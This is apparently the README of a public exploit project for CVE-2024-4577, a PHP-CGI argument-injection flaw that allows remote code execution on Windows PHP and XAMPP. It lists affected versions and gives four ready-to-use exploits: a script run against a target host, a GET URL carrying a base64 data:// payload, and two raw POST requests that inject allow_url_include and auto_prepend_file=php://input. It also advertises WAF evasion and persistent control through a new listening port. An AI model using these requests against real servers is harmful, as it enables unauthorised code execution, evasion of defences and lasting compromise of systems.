CVE-2024-4577-PHP-RCE

Project Introduction and Principle

• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment (XAMPP).
• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
• Implements RCE in the default PHP environment. Principle: cgi.force_redirect + REDIRECT-STATUS.
• New original EXP, supports WAF bypass scenarios. Principle: Establish FastCGI server + FastCGI protocol communication.
• New original EXP, supports SSRF scenarios. Principle: data:// protocol + GET request.

Advantages of EXP 1

• RCE without requiring allow_url_include, auto_prepend_file, or auto_append_file. Can include arbitrary files and PHP files.
• Avoids keywords often blocked by WAF such as allow_url_include, auto_prepend_file, auto_append_file.
• All communication with the FastCGI server is not recorded by the WAF.
• Listens on a new port, thus achieving persistent control of the PHP server, independent of Apache and PHP.

Vulnerability Overview

Information	Content
Vulnerability Name	PHP RCE
Vulnerability ID	CVE-2024-4577
Risk Level	High
Vulnerability Type	RCE
Exploit Difficulty	Low

Affected Versions

• PHP Windows 8.3.0 <= Affected < 8.3.8
• PHP Windows 8.2.0 <= Affected < 8.2.20
• PHP Windows 8.1.0 <= Affected < 8.1.29
• PHP Windows Affected == 8.0.x
• PHP Windows Affected == 7.x
• PHP Windows Affected == 5.x
• XAMPP Windows 8.2.0 <= Affected <= 8.2.12
• XAMPP Windows 8.1.0 <= Affected <= 8.1.25
• XAMPP Windows Affected == 8.0.x
• XAMPP Windows Affected == 7.x
• XAMPP Windows Affected == 5.x

EXP 1

Can be used for WAF bypass scenarios + default scenarios:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Example:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Can be used for SSRF scenarios + default scenarios:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Can be used for default scenarios:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Can be used for default scenarios:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reproduction

1. Server environment:

XAMPP Windows 8.2.12

2. Download and install XAMPP on the server:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Or manually choose an affected version here: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Server configuration

No modifications needed, keep the default configuration

4. Client using EXP

Test using the above EXP

5. Verification

Check whether the string "TesT" is returned or the content of the server's system.ini file.